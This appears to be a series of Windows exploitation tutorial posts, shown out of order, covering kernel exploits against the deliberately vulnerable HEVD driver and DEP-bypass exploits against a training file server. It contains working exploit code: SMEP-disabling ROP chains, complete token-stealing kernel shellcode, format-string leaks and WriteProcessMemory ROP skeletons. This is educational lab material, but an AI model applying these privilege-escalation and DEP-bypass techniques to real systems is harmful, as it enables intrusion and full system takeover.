The user object structure can be passed to the driver via an IOCTL and will then be used in the following way:
The TypeConfusionObjectInitializer function is then going ahead and calling the callback function. This function has however the same value as the ObjectType which we provided in the user object. This means that this function will call whatever function pointer we place in the ObjectType field.
The IOCTL number for this call is 0x222023, which can be found in a similar way to the last post.
Exploitation
We start by writing a simple exploit template that defines the required structure, gets a handle to the driver, and calls the IOCTL with a dummy value:
We can see that the driver is trying to call our provided βBβs which of course fails. So now that we can trigger the vulnerability the question remains on what address we want to call and how that helps us in elevating privileges.
Since SMEP is active, we can not just allocate shellcode and have the driver call it, so we have to make the call to a ROP-gadget that allows us to pivot the kernel stack to a location we control. This would allow us to place more ROP-gadgets there to ultimately disable SMEP & jump to Shellcode. Letβs try to find such a pivot gadget via ropper:
Note that we do not want just any value, it should be one that is aligned otherwise we risk getting a BSOD. The one we found looks pretty good β the add esp instruction is not bothering us too much as we can just add some dummy values before putting our next gadgets. Now that we know the address our stack will be at after executing the gadget, we can allocate it and fill it with a few ROP-nops to make sure that our stack pivot is working as intended. Since ASLR is enabled, we also have to get the address the kernel is loaded at as discussed in the last post.
We run the updated exploit with a breakpoint on the stack pivot:
0: kd> ba e1 fffff80581f17f70
0: kd> g
Breakpoint 0 hit
nt!ExfReleasePushLock+0x20:
fffff805`81f17f70 bc00000048 mov esp,48000000h
...
UNEXPECTED_KERNEL_MODE_TRAP (7f)
...
kb will then show the corrected stack.
Arguments:
Arg1: 0000000000000008, EXCEPTION_DOUBLE_FAULT
Arg2: ffff910032865e70
Arg3: 0000000048000000
On executing the pivot gadget we get a crash. This issue can be tricky to debug β essentially 2 things are happening. First, we need a bit of space before and after our gadgets so the kernel can read/write there, and additionally, we have to make sure that the stack is actually paged in because page faults will not be handled at this point (we are still in kernel mode). We update our PoC by adding 0x1000 bytes in front of our buffer and then use VirtualLock to force the memory to be paged in:
Now we no longer get a crash and can run our ROP-nops!
0: kd> ba e1 fffff8046bd17f70
0: kd> g
nt!ExfReleasePushLock+0x20:
fffff804`6bd17f70 bc00000048 mov esp,48000000h
1: kd> dq 48000000 -100
00000000`47ffff00 00000000`00000000 00000000`00000000
...
1: kd> dq 48000000
00000000`48000000 41414141`41414141 41414141`41414141
...
1: kd> t
nt!ExfReleasePushLock+0x25:
fffff804`6bd17f75 83c428 add esp,28h
1: kd> p
nt!ExfReleasePushLock+0x28:
fffff804`6bd17f78 c3 ret
1: kd> p
nt!CmpUnlockKcbStackFlusherLocksExclusive+0x3a:
fffff804`6bc00042 c3 ret
At this point, the hardest part is over. We can now execute ROP-gadgets which means we can repeat the exact same steps we used in our stack overflow exploit. First, we flip the 20th bit in CR4 to disable SMEP and then jump to our shellcode (which is the same as before). The full exploit:
After setting up our debugging environment, we will look at HEVD for a few posts before diving into real-world scenarios. HEVD is an awesome, intentionally vulnerable driver by HackSysTeam that allows exploiting a lot of different kernel vulnerability types. I think this one is great to get started because you can play with exploitation without reversing any big applications or drivers.
The arguably easiest exploit on HEVD is a classic stack overflow where you overwrite the return address and have a good amount of space before & after the overwrite. We are using HEVD on default OS settings, which means ASLR, DEP & SMEP are enabled. The vulnerable function does not use stack cookies.
Overview
Target: HEVD OS/Arch: Windows 11 x64 Protections: ASLR, DEP, SMEP
Vulnerability Discovery
Iβm not going to pretend that I donβt know where the vulnerability is and will focus primarily on the exploitation part. The vulnerable function is TriggerBufferOverflowStackand uses a RtlCopyMemory from the user-provided buffer to a fixed-sized kernel buffer of a size 512 that is on the kernel stack.
In assembly this ends up as memmove:
To see whatβs actually happening, we are going to create our βexploitβ and just call this function while having a breakpoint on it. We are going to create a new C++ console project with the following code:
#include <stdio.h>
#include <Windows.h>
int main()
{
HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
exit(1);
}
LPVOID uBuffer = VirtualAlloc(NULL, 512, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(uBuffer, 512, 'A');
DeviceIoControl(hDriver, 0x222003, (LPVOID)&uBuffer, sizeof(uBuffer), NULL, 0, NULL, NULL);
}
There are a few noteworthy things here. First of all, we are using CreateFile to get a handle to the driver, using its name \\.\HacksysExtremeVulnerableDriver . You can find this name by looking at the DriverEntry function in IDA:
Then we allocate our user buffer with a size of 512 which is the same size the kernel expects. Then we call the function via an IOCTL. This is essentially a way to tell the kernel to call a specific function in our driver, identified by the number, here 0x222003. Finding the number can be a bit tricky β in this case, we can go to TriggerBufferOverflowStack in IDA and then press x to find references. This shows a reference to BufferOverflowStackIoctlHandler for which we look for references again. Finally, we end up in IrpDeviceIoCtlHandler which is a big switch/case statement calling different functions depending on the IOCTL number you provide.
If we follow the arrow pointing to this basic block backward (can be a few times, but here itβs only once) we eventually end up at the correct number.
To compile our exploit we set it to Release & x64. We know how to call the function now & are going to set a breakpoint in WinDbg. In order for WinDbg to automatically load the correct symbols for HEVD you should place HEVD.pdb at C:\projects\hevd\build\driver\vulnerable\x64\HEVD\HEVD.pdb .
On x64, arguments to functions are passed in RCX, RDX, R8 & R9. Any additional arguments will be placed on the stack. We can see that RCX is a kernel address and therefore likely the target kernel buffer. RDX is a user-mode address and contains our input buffer. R8 contains the length, here 512.
If we break again but this time run until the function returns, we can see that the return address has been overwritten:
Breakpoint 1 hit
HEVD!TriggerBufferOverflowStack+0xca:
fffff805`7d3e667e e83dabf7ff call HEVD!memcpy (fffff805`7d3611c0)
1: kd> p
HEVD!TriggerBufferOverflowStack+0xcf:
fffff805`7d3e6683 eb1b jmp HEVD!TriggerBufferOverflowStack+0xec (fffff805`7d3e66a0)
1: kd> pt
HEVD!TriggerBufferOverflowStack+0x10b:
fffff805`7d3e66bf c3 ret
1: kd> dq rsp
ffffc88a`b4a21778 41414141`41414141 41414141`41414141
ffffc88a`b4a21788 41414141`41414141 41414141`41414141
1: kd> g
Access violation - code c0000005 (!!! second chance !!!)
HEVD!TriggerBufferOverflowStack+0x10b:
fffff805`7d3e66bf c3 ret
We can see that the return address was overwritten with our input βAβs. At this point, we confirmed the vulnerability & can trigger a crash.
Exploitation
Now that we can crash it with a large input buffer, the next step is figuring out the exact offset at which we overwrite RIP. We can generate a pattern with msf, send it, and then inspect RSP on the ret:
msf-pattern_offset -q 43327243 -l 2500
[*] Exact match at offset 2076
After sending the pattern and letting it run, we can see that we got our access violation again and inspecting RSP allowed us to find the offset: 2076. At this point, we could allocate shellcode and try to jump to it. Note that the offset is slightly off β if you debug it you will see that only the 2nd half of the shellcode address ends up at the correct position β in the following snippet, I account for that (real offset being 2076-4).
This is SMEP (Supervisor Mode Execution Prevention) kicking in. The kernel is not allowed to execute code at the user-mode address we provided and can therefore not just execute our shellcode. In order to bypass SMEP, we have to find a way to either disable it or make it βthinkβ we are not a user-mode page. For this introductory exploit, Iβll just show the bypass method.
SMEP is controlled by the 20th bit in the CR4 Register.
If we can somehow change that bit, we can disable it & still jump to our shellcode and execute it. While we can not execute shellcode, we can use ROP to flip that bit. To do that, we need to first look for gadgets we can use inside the driver or kernel. The kernel is a much better source of gadgets due to its size. Iβm a big fan of ropper so Iβm going to copy ntoskrnl.exe from the Debuggee VM to my Kali VM.
ropper --file ntoskrnl.exe --console
(ntoskrnl.exe/PE/x86_64)> search %cr4%
0x00000001403acd47: mov cr4, rcx; ret;
(ntoskrnl.exe/PE/x86_64)> search pop rcx
0x000000014020a386: pop rcx; ret;
We identified 2 gadgets we can use, POP RCX to get a value with its 20th bit set to zero into RCX and MOV CR4, RCX to get that value into CR4. Itβs usually a good idea to get the βoldβ value of CR4 and then modify it. For simplicity, we are just going to observe what it looks like in the debugger when we execute our exploit and then hardcode it here.
Before adding the ROP chain to our exploit we have to think about ASLR. Ropper shows relative addresses so we need to find the load address of the kernel. Fortunately, this is very easy from a medium integrity shell as there is an API that allows to obtain it:
QWORD getBaseAddr(LPCWSTR drvName) {
LPVOID drivers[512];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
WCHAR szDrivers[512];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
if (wcscmp(szDrivers, drvName) == 0) {
return (QWORD)drivers[i];
}
}
}
}
return 0;
}
With the base address, we can now add the gadget offsets to obtain a proper ROP chain. We update our exploit with this chain & a dummy value for CR4:
We get an exception β it does not allow us to write cr4 with zero. Letβs inspect its current value:
1: kd> r cr4
cr4=0000000000350ef8
We can hardcode the value and flip the 20th bit, then try again:
*(rop + index++) = 0x350ef8 ^ 1UL << 20;
1: kd>
nt!KeFlushCurrentTbImmediately+0x17:
fffff800`737acd47 0f22e1 mov cr4,rcx
1: kd> r rcx
rcx=0000000000250ef8
1: kd> p
nt!KeFlushCurrentTbImmediately+0x1a:
fffff800`737acd4a c3 ret
1: kd> p
0000026a`93680000 90 nop
1: kd>
0000026a`93680001 90 nop
1: kd>
0000026a`93680002 90 nop
We can see that by setting a value that makes more sense we can disable SMEP & execute our NOPs! Now we need kernel shellcode that will somehow let us elevate privileges without causing a BSOD.
Kernel Shellcode
For this exploit, we are going to go with a simple token stealing payload. Every process has a token associated that defines its privileges. A pointer to this token is saved in the EPROCESS structure:
If we can read this pointer & copy it over the one from our process, we get full SYSTEM privileges. Essentially the shellcode will find our EPROCESS and save a pointer to it. Then it will walk ActiveProcessLinks (which is a linked list of processes) until it finds a SYSTEM process and copies the token pointer from that one over the one from our process.
[BITS 64]
start:
mov rax, [gs:0x188] ; KPCRB.CurrentThread (_KTHREAD)
mov rax, [rax + 0xb8] ; APCState.Process (current _EPROCESS)
mov r8, rax ; Store current _EPROCESS ptr in RBX
loop:
mov r8, [r8 + 0x448] ; ActiveProcessLinks
sub r8, 0x448 ; Go back to start of _EPROCESS
mov r9, [r8 + 0x440] ; UniqueProcessId (PID)
cmp r9, 4 ; SYSTEM PID?
jnz loop ; Loop until PID == 4
replace:
mov r9, [r8 + 0x4b8] ; Get SYSTEM token
and r9, 0xf0 ; Clear low 4 bits of _EX_FAST_REF structure
mov [rax + 0x4b8], r9 ; Copy SYSTEM token to current process
xor rax, rax
ret
Note that depending on which operating system you are targeting these offsets will change and you have to find them via WinDBG. To compile the shellcode, we can use NASM/radare2:
While this will work fine and replace the token β we are still in an IOCTL and have messed with the stack. Just returning from here will cause a BSOD. There are at least 2 possibilities here β either we figure out how to restore the stack to the point where we can return somewhere that will not crash or use a generic way to avoid crashes.
For this post we choose the generic way by Kristal and append our shellcode:
[BITS 64]
start:
mov rax, [gs:0x188] ; KPCRB.CurrentThread (_KTHREAD)
mov rax, [rax + 0xb8] ; APCState.Process (current _EPROCESS)
mov r8, rax ; Store current _EPROCESS ptr in RBX
loop:
mov r8, [r8 + 0x448] ; ActiveProcessLinks
sub r8, 0x448 ; Go back to start of _EPROCESS
mov r9, [r8 + 0x440] ; UniqueProcessId (PID)
cmp r9, 4 ; SYSTEM PID?
jnz loop ; Loop until PID == 4
replace:
mov rcx, [r8 + 0x4b8] ; Get SYSTEM token
and cl, 0xf0 ; Clear low 4 bits of _EX_FAST_REF structure
mov [rax + 0x4b8], rcx ; Copy SYSTEM token to current process
cleanup:
mov rax, [gs:0x188] ; _KPCR.Prcb.CurrentThread
mov cx, [rax + 0x1e4] ; KTHREAD.KernelApcDisable
inc cx
mov [rax + 0x1e4], cx
mov rdx, [rax + 0x90] ; ETHREAD.TrapFrame
mov rcx, [rdx + 0x168] ; ETHREAD.TrapFrame.Rip
mov r11, [rdx + 0x178] ; ETHREAD.TrapFrame.EFlags
mov rsp, [rdx + 0x180] ; ETHREAD.TrapFrame.Rsp
mov rbp, [rdx + 0x158] ; ETHREAD.TrapFrame.Rbp
xor eax, eax ;
swapgs
o64 sysret
In this series about Windows kernel exploitation, we will explore various kernel exploit techniques & targets. This topic is mainly something I studied to prepare for AWE. This short first part will deal with the VM setup for the rest of the series. I can not offer downloadable VMs so you will have to follow the steps outlined here to get a comparable environment.
OS Setup
We will use Windows 11 for both the debugger and the debugger and everything will be running on VMware Workstation 16. To allow the installation of Windows 11 on VMWare, we will have to encrypt the VM:
Then we add a TPM:
If you donβt have a Windows 11 ISO you can get a version here. Note that using Insider Preview is not a good idea since the symbols are not always fully available. After the installation is completed & all updates are installed, create a low-privileged user called user:
net user user user /add
We also want to disable the Windows Update Service (we donβt want gadgets to change because windows updates). Now we continue to install tools we will need later on.
WinDbgX
WindbgX (or Preview) can be installed for free from the Microsoft Store. We are not using python/mona so we wonβt install it. After installing, start it once and set the symbol path in File->Settings->Debugging Settings to srv*c:\symbols*http://msdl.microsoft.com/download/symbols.
After preparing our VM, we need to clone it (Right-Click on VM->Manage->Clone) in order to get a Debugger & Debuggee VM.
At this point, you should have 2 identical VMs. On older versions of windows, we would have to modify the .vmx files in order to allow debugging via serial port β as this is all Windows 10+ we can, however, debug everything nicely via TCP/IP.
Setting up Kernel Debugging
First, we set up proper networking. In my case both VMs have a NAT adapter for internet access & an additional adapter to communicate (VMNET-X):
Debugger VM: 172.16.0.100
Debuggee VM: 172.16.0.101
On the debuggee VM:
bcdedit /debug on
bcdedit /dbgsettings net hostip:172.16.0.100 port:50000 key:1.2.3.4
On the debugger VM we just have to start WinDbgX and attach it to the kernel:
After a restart of the debuggee WinDbgX automatically attaches and breaks for us:
Connected to Windows 10 22000 x64 target at (Fri Jul 1 02:29:02.526 2022 (UTC - 7:00)), ptr64 TRUE
Kernel Debugger connection established.
Symbol search path is: srv*
Executable search path is:
Windows 10 Kernel Version 22000 MP (1 procs) Free x64
Edition build lab: 22000.1.amd64fre.co_release.210604-1628
Machine Name:
Kernel base = 0xfffff804`27000000 PsLoadedModuleList = 0xfffff804`27c29650
System Uptime: 0 days 0:00:02.213
KDTARGET: Refreshing KD connection
We continue with g and continue the startup. At this point our setup is complete and we create a snapshot on both VMs (with the debugger running). Finally to make sure everything is working we start notepad.exe on the debuggee VM & then see if we can debug it:
At this point, everything is working as expected and we can start looking at exploitation in the next post.
Note that under normal circumstances you can not load any unsigned drivers like HEVD on windows 11 β however when a kernel debugger is attached, this is not true anymore.
In the last post we explored how to exploit the rainbow2.exe binary from the vulnbins repository using WriteProcessMemory & the βskeletonβ method. Now we are going to explore how to use VirtualProtect and instead of setting up the arguments on the stack with dummy values and then replacing them, we are going to use the pushad instruction to push alle registers on the stack & then execute our function.
As before, we are going to use a stack pivot to land in our input buffer and execute a rop chain which just consists of a dummy instruction at this point. Letβs explore how pushad works: Pushes the following registers in the following order onto the stack: EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI (https://c9x.me/x86/html/file_module_x86_id_270.html) .
We also need to know what arguments VirtualProtect expects:
The first argument lpAddress is the address at which we want to change memory protections, dwSize is giving the size, flNewProtect is a mask for the new protections we want (0x40 = PAGE_EXECUTE_READWRITE) and lpflOldProtect must be a writeable address so the old protections can be stored. If we look at the order pushad places the values on the stack, we should setup the registers as follows (which will end up on the stack exactly in the order below but in reverse, e.g. ropnop being the first gadget):
# Registers
EAX 90909090 => Shellcode
ECX &writable => lpflOldProtect
EDX 00000040 => flNewProtect
EBX 00000501 => dwSize
ESP ???????? => lpAddress (ESP)
EBP ???????? => Redirect control fow to ESP
ESI ???????? => &VirtualProtect
EDI ???????? => RopNop
Setting those registers up correctly requires some planning β as soon as you are done setting up one of them you can not use it anymore to setup the other registers. Thatβs why we have to setup the more commonly used registers at the end.
We start by setting up ebx. Note that in order to get 0x501 into the register without having null bytes we could use a add, DWORD instruction and calculate the difference. In this case there is add eax,5D40C033;. If we calculate ? 0x501 - 0x5d40c033 = a2bf44ce we get the value we have to put into that register to end up with the value we want.
# EBX
# Blocked: None
0x4CBFB + binary_base, # pop eax; ret;
0xa2bf44ce, # put delta into eax (goal: 0x00000201 into ebx)
0x7720E + binary_base, # add eax,5D40C033; ret;
0x3AE24 + binary_base, # xchg eax, ebx; ret;
Now we setup edx. We use the same trick again to get the null byte free value of 0x40 into the register.
# EDX
# Blocked: EBX
0x4CBD7 + binary_base, # pop eax; ret;
0xa2a7fdd6, # put delta into eax (goal: 0x00000040 into edx)
0x76EFF + binary_base, # add eax, 0x5D58026A
0x1ABA5 + binary_base, # xchg eax, edx; dec eax; add al, byte ptr [eax]; pop ecx; ret;
0x41414141, # dummy
We continue by setting ecx. Since this needs a writable address we get one via WinDBG as described in the other post and just pop the value into the register.
For edi, we set the address of a ropnop gadget directly via pop:
# EDI
# Blocked: EBX, EDX, ECX
0x32301 + binary_base, # pop edi; ret;
0x774C7 + binary_base, # ropnop
We set esi by popping the address of a jmp eax gadget. Normally this would hold the address of VirtualProtect but we will store VirtualProtect at the very end in eax β so placing jmp eax here will achieve the same.
# ESI
# Blocked EBX, EDX, ECX, EDI
0x24261 + binary_base, # pop esi; ret;
0x14AF9 + binary_base, # jmp eax (just stored, not executed right away)
Finally we set up eax with the address of VirtualProtect. This is a bit tricky because we do not have a leak in kernel32 and the binary does not use VirtualProtect itself. We can however just as in the other post get the address of another kernel32 function from the IAT and then subtract the offset.
In this post I will show an example on how to bypass DEP with WriteProcessMemory. This is a bit more complicated than doing it with VirtualProtect but nonetheless an interesting technical challenge. For the target binary I will use rainbow2.exe from my vulnbins repository.
I will skip the reversing/vulnerability discovery part for this post (feel free to explore it by yourself) β essentially we have a file server that has 2 commands:
LST <PATH>
GET <PATH>
Enabled protections are GS, ASLR & DEP. The binary has (at least) 2 vulnerabilities, a format-string vulnerability in path & a stack overflow that is also in path. Note that if you want to play with the binary you have to put it in C:\shared\ as it expects this as the file root.
Format String Vulnerability
By supplying a path containing format string specifies like %p, we can leak the contents of the stack. This will allow us to leak a pointer from the binary, calculate the binaries base address & therefore defeating ASLR.
Stack Overflow
By supplying a path longer than 1024 we overflow a stack buffer. Since GS is enabled we can not just write through the stack cookie and over the return address in order to exploit it. We can however provide a sufficiently large buffer so that the SEH handler gets overwritten, which defeats GS as we can continue execution from there without returning from the function.
Getting Started
Knowing the vulnerabilities we start by writing an exploit poc that leaks the base address:
We connect to the server and send LST |%p|%p|%p|%p|, which leaks 4 pointers from the stack:
[DEBUG] Sent 0x12 bytes:
b'LST |%p|%p|%p|%p|\n'
[DEBUG] Received 0x41 bytes:
b'ERROR: Can not open Path: |8ACA5DF4|3FAC4120|3FAC4120|0133E550|\n'
In WinDBG we can see that 0x3fac4120 is an address of the binary itself. We calculate the difference of this pointer to the load address of the binary:
Since this offset does not change between restarts and the leaked pointer is always the 2nd value on the stack, we can reliably subtract it to get the base address of the binary. If you are used to binary exploitation on linux you might wonder if we can use %n here to get a write primitive. This is not possible because Visual Studio prevents %n usage by default.
The next task is to find the offset at which we overwrite SEH. To do so we generate a pattern (msf-pattern_create -l 4000), send it and use it to get the offset (msf-pattern_offset -q ... -l 4000) at which we have to put the value that overwrites our SEH entry. We donβt know much about the required length yet but trying a few values and observing if any of them crashes the application and if a pattern value appears on !exchain is a viable approach. Eventually this will lead to the offset 1032.
With these new insights we can update the poc to crash the target and place Bs inside SEH & Cs inside NSEH.
These look promising. We replace the Bs with the gadget that adds 0xe10 to esp, taking the leaked binary base into account and then run the exploit again.
We set a breakpoint on the gadget and see if we can hit our buffer:
0:003> !exchain
0164fbd4: filesrv+11396 (3fac1396)
Invalid exception stack at 42424242
0:003> ba e1 3fac1396
0:003> g
Breakpoint 0 hit
filesrv+0x11396:
3fac1396 81c4100e0000 add esp,0E10h
0:003> p
3fac139c c3 ret
0:003> dd esp
0164f844 41414141 41414141 41414141 4141414
We indeed managed to land inside our buffer, more precisely at the part before our SEH gadget. By going back a bit we can see that we are about 0x78 bytes into our buffer.
This is pretty good since we placed 1036 As and most of them are still ahead of us, leaving us with some room to work with. Since DEP is enabled, we can not simply execute shellcode here and have to think about how we can utilize ROP to make progress.
Playing with ROP
Ultimately we want to call a function that allows us to get around DEP and execute shellcode. Good candidates are VirtualProtect, VirtualAlloc or WriteProcessMemory. Since we are on x86, the arguments for function calls will be placed on the stack. Iβm aware of 2 different approaches to setup function arguments in this situation. We could carefully prepare the registers and then execute pushad so the values are put onto the stack β this has all to be done in ROP though and everytime you setup a register you can not use it anymore later on which makes this a bit tricky.
Another approach is to prepare a call βskeletonβ, an area that has dummy values for the function arguments on the stack. We then get a reference to the skeleton and replace the dummy values with the ones we need. In the end we pivot the stack to the skeleton and therefore execute the function we want.
As mentioned in the beginning, for this post we want to call WriteProcessMemory. This will allow us to write our shellcode to a codecave that is already executable but not writeable. WriteProcessMemory internally calls VirtualProtect to temporarily make the area writeable, writes the data & then restores memory permissions. WriteProcessMemory has the following Signature:
This approach has one caveat β if we have to avoid bad bytes in our shellcode and we copy it to a non writable area, we can not use any shellcode that needs to modify itself (e.g. all msfencoders). In order to get around that we will have to do the shellcode encoding before we send it and then use ROP to decode it, while it is still on the stack (before we copy it & jump to the codecave copy).
To discover bad bytes we send all bytes from 0x00 β 0xFF and remove all the ones where the binary does not crash anymore or those that get mangled. This results in the following bad chars:
Since it will be pretty difficult to craft shellcode that does not contain any of these we will go with the ROP shellcode decoder as just mentioned. Before we dive into that, letβs look at the structure the exploit is going to have. Since we are dealing with some space restrictions we have to be careful about the layout.
Note that even though we send 4000 Bytes, not all of them will end up on the stack. We are running into a page boundary which will cut it more closer to 3200-3300 Bytes.
Shellcode Encoding & Decoding
The first problem we are going to tackle is the Shellcode encoding & decoding. Our shellcode for this post will be the following one:
As you can see we did not use any encoder since we will be doing that ourselves. Before we send anything, we do our custom encoding and since they are not that many bad chars I decided to subtract 0x55 from every bad character. The bad characters were all rather small so subtracting a value like 0x55 brings them to byte values that should be safe. If you have more bad characters you could also do an individual offset for every character or substition tables.
We iterate over the shellcode and identify the indices of all bad characters. Then we substract the offset (here 0x55) from all bad chars so they become βsafeβ, e.g.: 0x20 - 0x55 = 0xcb.
def map_bad_chars(sc):
badchars = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20\x2F\x5C"
i = 0
indices = []
while i < len(sc):
for c in badchars:
if sc[i] == c:
indices.append(i)
i+=1
return indices
bad_indices = map_bad_chars(sc)
def encode_shellcode(sc):
badchars = [ 0x0, 0x1 ,0x2 ,0x3 ,0x4 ,0x5 ,0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0x20, 0x2F, 0x5C]
replacements = []
encoding_offset = -0x55
for c in badchars:
new = c + encoding_offset
if new < 0:
new += 256
replacements.append(new)
print(f"Badchars: {badchars}")
print(f"Replacments: {replacements}")
badchars = bytes(badchars)
replacements = bytes(replacements)
input("Paused")
transTable = sc.maketrans(badchars, replacements)
sc = sc.translate(transTable)
return sc
sc = encode_shellcode(sc)
With our shellcode encoded, we now have to start building the ROP decoder that will undo our changes to the shellcode:
def rop_decoder():
rop = b""
# 1) Align eax register with shellcode
rop += p32(0x4CBFB + binary_base) # pop eax
rop += p32(writeable)
rop += p32(0x683da + binary_base) # push esp ; add dword [eax], eax ; pop ecx; ret;
rop += p32(0x704F4 + binary_base) # pop eax; ret;
rop += p32(0x116ea + binary_base) # 0x522 this offset to the shellcode depends on how long the 2nd rop chain is
rop += p32(0x2bb8e + binary_base) # mov eax, dword ptr [eax]; ret;
rop += p32(0x37958 + binary_base) # add eax, 2; sub edx, 2; pop ebp; ret;
rop += p32(0x41414141)
rop += p32(0x17781 + binary_base) # add eax, ecx; pop ebp; ret 4;
rop += p32(0x41414141)
rop += p32(binary_base + 0x159d)*(4) # ropnop
# 2) Iterate over every bad char & add offset to all of them
offset = 0
neg_offset = (-offset) & 0xffffffff
value = 0x11111155
for i in range(len(bad_indices)):
# get the offset from last bad char to this one - so we only iterate over bad chars and not over every single byte
if i == 0:
offset = bad_indices[i]
else:
offset = bad_indices[i] - bad_indices[i-1]
neg_offset = (-offset) & 0xffffffff
# get offset to next bad char into ecx
rop += p32(0x0102e + binary_base) # pop ecx; ret;
rop += p32(neg_offset)
# adjust eax by this offset to point to next bad char
rop += p32(0x3ec4c + binary_base) # sub eax, ecx; pop ebp; ret;
rop += p32(0x41414141)
rop += p32(0x102e + binary_base) # pop ecx; ret;
rop += p32(value)
rop += p32(0x7f17a + binary_base) # add byte ptr [eax], cl; add cl, cl; ret;
print(f"({i}: {len(rop)})")
return rop
First we get a copy of esp into ecx. Then we load eax with 0x522 and increment it β the point here is to get the offset from the stack pointer to our shellcode (since the ROP decoder needs to start decoding exactly at the start of our shellcode). After the first part is done, eax holds the start address of our shellcode as required.
We then loop over all indices of bad chars in our shellcode, advancing eax so it always points to the next bad char. We then increment the byte value at the location by 0x55, reversing the encoding operation. Note that this adds 7*4=28 bytes for every bad char and we donβt have much more than 1000 bytes for this rop decoder, which means that we are limited in the amount of bad chars we can handle (about 30).
Before moving on letβs observe one time how the decoder is modifying a badchar:
filesrv+0x7f17a:
3fb2f17a 0008 add byte ptr [eax],cl ds:002b:00c1fd60=cb
0:001> r eax
eax=00c1fd60 <- Write Target
0:001> r ecx
ecx=11111155 <- Low Byte is Write Value
0:001> dd eax
00c1fd60 64db31cb <- 0x20 - 0x55 = 0xcb
0:001> p
0:001> dd eax
00c1fd60 64db3120 <- 0xcb + 0x55 = 0x20
This shows that we can successfully decode our shellcode bad chars.
Working with Skeletons
Now itβs time to replace the dummy values for the call to WriteProcessMemory we placed on the very top of our buffer on the stack. We donβt have much room after our rop decoder & before our stack pivot gadget β so we will fill up with ropnops (just ret instructions) and jump over our gadget as follows:
rop1 = b""
# add skeleton
for g in skeleton:
rop 1+= p32(g)
# add ropnops (stack pivot not exact)
rop1 += p32(binary_base + 0x159d)*(24) # ropnop
# add rop shellcode decoder
rop1 += rop_decoder()
# fill up with ropnops until pivot gadget
for i in range(0, offset-len(rop)-4, 4):
rop1 += p32(0x159d + binary_base) # ropnop
# jump over pivot gadget
rop1 += p32(0x3da53 + binary_base) # add esp, 0x10; ret;
log.info("Sending payload..")
buf = b""
buf += b"LST "
buf += rop1
buf += b"B" * 4
buf += pivot
buf += b"D" * (size-len(buf))
p.sendline(buf)
This leaves us now in the βbigβ area of our payload where we can write the rop chain to modify the skeleton & also have our shellcode. Our first task is to align a register (here ecx) with our skeleton.
0x4CBFB + binary_base, # pop eax (will be dereferenced by a side effect gadget)
writeable,
0x683da + binary_base, # push esp ; add dword [eax], eax ; pop ecx; ret;
0x704F4 + binary_base, # pop eax; ret;
0x4bb2d + binary_base, # 0x448 (offset to skeleton on stack)
0x2bb8e + binary_base, # mov eax, dword ptr [eax]; ret;
0x7609f + binary_base, # add eax, 4; ret;
0x3039f + binary_base, # mov edx, eax; mov eax, esi; pop esi; ret;
0x41414141,
0x31564 + binary_base, # sub ecx, edx; cmp ecx, eax; sbb eax, eax; inc eax; pop ebp; (add offset to skeleton, ecx holds ptr to skeleton now)
0x41414141,
WinDBG shows that ecx is now indeed aligned with our skeleton:
After having a pointer to the skeleton we can proceed to replace the dummy values. The first one (where we placed As) is the address to WriteProcessMemory. We do not have a kernel32 leak so we have to find another way to get its address. If we look at the binaries Import Address Table (IAT), we can see that it imports quite a bit of functions but none of them is WriteProcessMemory:
This is unfortunate but we can use another function from kernel32 & calculate the offset to WriteProcessMemory from that address. The only downside is that we lose some portability as we would have to know the targets windows version & patch level or need a copy of its kernel32.dll. We can use WinDBG to get the offset:
Now we move the skeleton pointer ahead to point to the next value we want to replace:
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 4
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 8
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 12
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0; 16
0x0582b + binary_base, # inc ecx; ret 0;
The next value we want to write is the shellcode address on the stack β this is the source of the copy operation that WriteProcessMemory will be doing. To get a pointer to our shellcode we have look in the debugger how big the difference from the current esp at this point to the start of the shellcode is. In this case, the following gadgets move eax exactly to the start of the shellcode & writes it to where ecx points to (which is still the next skeleton value to overwrite):
The next value we have to replace is the size. We have to chose a value that is enough for our shellcode but not too big as to not cause issues. The following rop gadgets move the skeleton pointer once again ahead and place the value of 0x401 as a size value, which is enough to hold our shellcode.
# Write size (0x401) to skeleton dummy value
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x0582b + binary_base, # inc ecx; ret 0;
0x704F4 + binary_base, # pop eax
0x19b3 + binary_base, # addr of 0x401;
0x2bb8e + binary_base, # mov eax, dword ptr [eax]; ret;
0x7ab35 + binary_base, # mov dword ptr [ecx], eax; pop ebp; ret;
0x41414141,
At this point the only thing left to do is the align ecx again with the start of our skeleton (we increased it for every dummy value replacement) and then pivot the stack exactly to the skeleton:
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
0x15935 + binary_base, # dec ecx; ret;
